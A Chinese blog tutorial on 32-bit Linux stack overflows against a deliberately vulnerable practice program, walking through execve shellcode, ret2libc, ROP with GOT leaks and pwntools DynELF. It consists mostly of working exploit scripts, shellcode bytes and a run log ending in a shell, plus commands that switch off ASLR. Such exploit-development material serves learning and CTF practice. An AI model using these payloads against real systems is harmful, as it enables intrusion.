Linux 32 栈溢出

linux32 栈溢出分析

源码
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void vulnerable_function() {
	    char buf[128];
	        read(STDIN_FILENO, buf, 256);
}

int main(int argc, char** argv) {
	    vulnerable_function();
	        write(STDOUT_FILENO, "Hello, World\n", 13);
}
  • 在上面可以看出有一个很明显的缓冲区溢出漏洞。

gcc编译选项

NX:-z execstack / -z noexecstack (关闭 / 开启)
Canary:-fno-stack-protector /-fstack-protector / -fstack-protector-all (关闭 / 开启 / 全开启)
PIE:-no-pie / -pie (关闭 / 开启)
RELRO:-z norelro / -z lazy / -z now (关闭 / 部分开启 / 完全开启)
  • gcc -m32 -fno-stack-protector -z execstack -no-pie -o level1 stack.c.其中-fno-stack-protector和-z execstack这两个参数会分别关掉DEP和Stack Protector,-no-pie参数关闭PIE程序地址随机化的保护,-m32是因为我的机器为64位执行编译32位程序。64位安装编译32位程序需要执行sudo apt-get install gcc-multilib g++-multilib

  • 还需要早shell中执行sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space" 用以关闭系统的ASLR保护。

调试

  • 使用gdb ./level1运行程序输入上面生成的字符串

  • 发现eip为6Ae7,使用python pattern.py 6Ae7,入下图所示确认溢出点。

  • 知道了需要140字节才能到eip地址,前面填充140字节在加上任意地址,即可跳转到该地址来执行,这就构造了一个任意地址执行的漏洞。

  • objdump中并没有看到system函数,也没调用syscall函数,这里构造一个shellcode执行execve("/bin/sh"),其汇编与shellcode如下。
    execve("/bin/sh"),其汇编与shellcode如下。

# execve ("/bin/sh") 
# xor ecx, ecx
# mul ecx
# push ecx
# push 0x68732f2f   ;; hs//
# push 0x6e69622f   ;; nib/
# mov ebx, esp
# mov al, 11
# int 0x80

shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += "\x0b\xcd\x80"
  • 溢出点找到了,shellcode也有了,然后就是控制pc跳转到shellcode的地址上。

  • shellcode地址的位置还有一个坑,正常的思维是使用gdb调试目标程序,然后查看内存来确定shellcode的位置。但当你真的执行exp的时候你会发现shellcode压根就不在这个地址上!这是为什么呢?原因是gdb的调试环境会影响buf在内存中的位置,虽然我们关闭了ASLR,但这只能保证buf的地址在gdb的调试环境中不变,但当我们直接执行./level1的时候,buf的位置会固定在别的地址上。
Core Dump
ulimit -c unlimited
sudo sh -c 'echo "/tmp/core.%t" > /proc/sys/kernel/core_pattern'
  • 开启之后,当出现内存错误的时候(重新执行一次程序,并输入一段pattern让程序崩溃),系统会生成一个core dump文件在tmp目录下。然后我们再用gdb查看这个core文件就可以获取到buf真正的地址了。如图:


  • 溢出点为140个字节,在加上四个字节的ret地址,就可以计算buffer地址为esp-144,使用gdb命令x /10s $esp-144 可以得到buffer的地址0xffffd130。

shellcode

#!/usr/bin/env python
from pwn import *

p = process('./level1') 

ret = 0xffffd130  
shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += "\x0b\xcd\x80"

payload = shellcode + 'A' * (140 - len(shellcode)) + p32(ret)
p.send(payload) #发送payload
p.interactive() #开启交互shell

Ret2libc – Bypass DEP 通过ret2libc绕过DEP(NX)

  • 现在我们把DEP打开,依然关闭stack protector和ASLR,编译方法如下:
gcc -m32 -fno-stack-protector -no-pie -o level2 stack.c
  • 通过sudo cat /proc/pid/maps查看堆栈maps等地址的情况,这里看到stack的权限,level1是rwx的level是rw的

  • 现在不能通过在栈上执行shellcode,但是我们如果可以让程序执行system(“/bin/sh”)的话,也可以获取到shell。我们知道level2调用了libc.so,并且其中应该存在system地址和字符串’/bin/sh’。
  • 关闭ASLR的话,system()函数在内存中的地址是不会变化的,并且libc.so中也包含“/bin/sh”这个字符串,并且这个字符串的地址也是固定的,我们接下来就找到这个函数地址。
  • 首先在main函数上下一个断点,然后执行程序,这样程序加载内存libc到内存中,就可以通过print system这个命令获取system函数在内存中的位置,随后通过print __libc_start_main 获取libc.so在内存中的起始位置,接下来我们通过find命令查找/bin/sh字符串。
  • system()后面需要跟着返回地址,接下来才是“/bin/sh”字符串的地址。
# coding: utf-8
#!/usr/bin/env python
from pwn import *
p = process('./level1')
ret = 0xf7e1b2e0
systemaddr=0xf7e1b2e0
binshaddr=0xf7f5c0af
payload = 'A'*140+p32(systemaddr)+p32(ret)+p32(binshaddr)
p.send(payload) #发送payload
p.interactive() #开启交互shell

ROP - Bypass DEP and ASLR 通过 ROP 绕过 DEP 和 ASLR 防护

  • 使用sudo sh -c "echo 2 > /proc/sys/kernel/randomize_va_space"开启ASLR,cat /proc/pid/maps发现libc的地址不断变化

  • 如何绕过地址随机化:

    • 先泄露出libc.so某些函数在内存中的地址,然后在利用泄露出的函数地址根据偏移计算出system()函数和“/bin/sh”字符串在内存中的地址,然后再执行我们的ret2libc的shellcode。libc、heap的地址都是随机的但是程序本身在内存中的地址并不是随机的。
  • 首先利用objdump查看可以利用的plt函数和函数对应的got表。

  • 出了程序本身实现的函数之外还可以使用read@plt和write@plt函数。不能直接调用system来获取shell,但其实我们有write@plt函数就够了,因为我们可以通过write@plt函数把write在内存中的地址也就是write.got打印出来。

  • write()函数实现是在libc.so当中,那我们调用的write@plt()函数为什么也能实现write()功能呢? 这是因为linux采用了延时绑定技术,当我们调用write@plt()的时候,系统会将真正的write()函数地址link到got表的write.got中,然后write@plit()会根据write.got 跳转到真正的write()函数上去。

  • system函数和write在libc.so中的offset相对地址是不变的,如果得到目标服务器上libc.so就可以计算出来system在内存中的地址。然后在将pc指针return回vulnerable_function函数,就可以进行ret2libc溢出攻击了,并且这一次知道了system在内存的地址,就可以用system函数获取shell。

  • 先使用ldd命令查看目标程序调用的so库,随后把libc.so拷贝到当前目录,因为exp需要这个so文件计算相对地址。

#!/usr/bin/env python


from pwn import *

libc = ELF('libc.so.6')
elf = ELF('level2')
p = process('./level2')
plt_write = elf.symbols['write']
print 'plt_write= ' + hex(plt_write)
got_write = elf.got['write']
print 'got_write= ' + hex(got_write)
vulfun_addr = 0x080484a5
print 'vulfun= ' + hex(vulfun_addr)

payload1 = 'a'*140 + p32(plt_write) + p32(vulfun_addr) + p32(1) +p32(got_write) + p32(4)

print "\n###sending payload1 ...###"
p.send(payload1)

print "\n###receving write() addr...###"
write_addr = u32(p.recv(4))
print 'write_addr=' + hex(write_addr)
print "\n###calculating system() addr and \"/bin/sh\" addr...###"
system_addr = write_addr - (libc.symbols['write'] - libc.symbols['system'])
print 'system_addr= ' + hex(system_addr)
binsh_addr = write_addr - (libc.symbols['write'] - next(libc.search('/bin/sh')))
print 'binsh_addr= ' + hex(binsh_addr)
payload2 = 'a'*140  + p32(system_addr) + p32(vulfun_addr) + p32(binsh_addr)
print "\n###sending payload2 ...###"
p.send(payload2)
p.interactive()

在不获取目标libc.so的情况下进行ROP攻击

  • 上面的例子讲到了如何通过ROP绕过x86下DEP和ASLR防护,但是我们要事先取得目标机器上的libc.so或者具体的linux版本号才能计算出响应的offset,如果获取不到目标机器上的libc.so,就需要通过memory leak(内存泄露)搜索内存找到system的地址,这里我们采用pwntools的DynELF模块进行内存搜索。首先需要实现一个leak(address)函数,通过这个函数可以获取到某个地址上最少1byte的数据,leak的一般实现方法如下:
def leak(address):
    payload1 = 'a'*140 + p32(plt_write) + p32(vulfun_addr) + p32(1) +p32(address) + p32(4)
    p.send(payload1)
    data = p.recv(4)
    print "%#x => %s" % (address, (data or '').encode('hex'))
return data

  • 主要是用了write函数将需要查询的地址都打印出来,形成内存泄露。这里的payload分别的意思就是140个填充,write的plt地址,返回地址,write函数的三个参数,然后接收返回信息,随后这个函数作为参数在调用d=DynELF(leak, elf=ELF(‘./level2’)),就可以堆DynELF模块进行初始化,然后就可以通过调用system_addr = d.lookup(‘system’, ‘libc’)来得到libc.so中system()在内存中的地址。

  • 需要注意的是,通过DynELF模块只能获取到system()在内存中的地址,但无法获取字符串“/bin/sh”在内存中的地址。所以我们在payload中需要调用read()将“/bin/sh”这字符串写入到程序的.bss段中。.bss段是用来保存全局变量的值的,地址固定,并且可以读可写。通过readelf -S level2这个命令就可以获取到bss段的地址了。

  • 执行完read()后接着要调用system(“/bin/sh”),并且read()这个函数的参数有三个,所以需要一个pop pop ret的gadget用来保证堆栈平衡(“ROPgadget --binary babystack --only 'pop|ret'”)

  • 整个攻击链:DynELF获取到system()的地址后,我们又通过read将“/bin/sh”写入到.bss段上,最后再调用system(.bss),执行“/bin/sh”。

koffer@koffer-virtual-machine:~/ctf$ python exploit4.py 
[*] '/home/koffer/ctf/level2'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[+] Starting local process './level2': pid 7593
0x8048000 => 7f454c46
[+] Loading from '/home/koffer/ctf/level2': 0xf7f0f940
0x804a004 => 40f9f0f7
[+] Resolving 'system' in 'libc.so': 0xf7f0f940
.......
###sending payload2 ...###
[*] Switching to interactive mode
$ ls
exploit2.py  exploit4.py  level1  libc.so.6   stack.c
exploit3.py  exploit.py   level2  pattern.py
exploit
#!/usr/bin/env python
from pwn import *

elf = ELF('./level2')
plt_write = elf.symbols['write']
plt_read = elf.symbols['read']
vulfun_addr = elf.symbols['main']
bss_addr = 0x0804a020
pppr = 0x08048539

def leak(address):
    payload1 = 'a'*140 + p32(plt_write) + p32(vulfun_addr) + p32(1) +p32(address) + p32(4)
    p.send(payload1)
    data = p.recv(4)
    print "%#x => %s" % (address, (data or '').encode('hex'))
    return data


p = process('./level2')

d = DynELF(leak, elf=ELF('./level2'))

system_addr = d.lookup('system', 'libc')
print "system_addr=" + hex(system_addr)

payload2 = 'a'*140  + p32(plt_read) + p32(pppr) + p32(0) + p32(bss_addr) + p32(8)
payload2 += p32(system_addr) + p32(vulfun_addr) + p32(bss_addr)

print "\n###sending payload2 ...###"
p.send(payload2)
#ss = raw_input()
p.send("/bin/sh\0")
#p.send("/bin/sh\0")

p.interactive()
posted @ 2021-05-13 10:55  一生热爱  阅读(450)  评论(0)    收藏  举报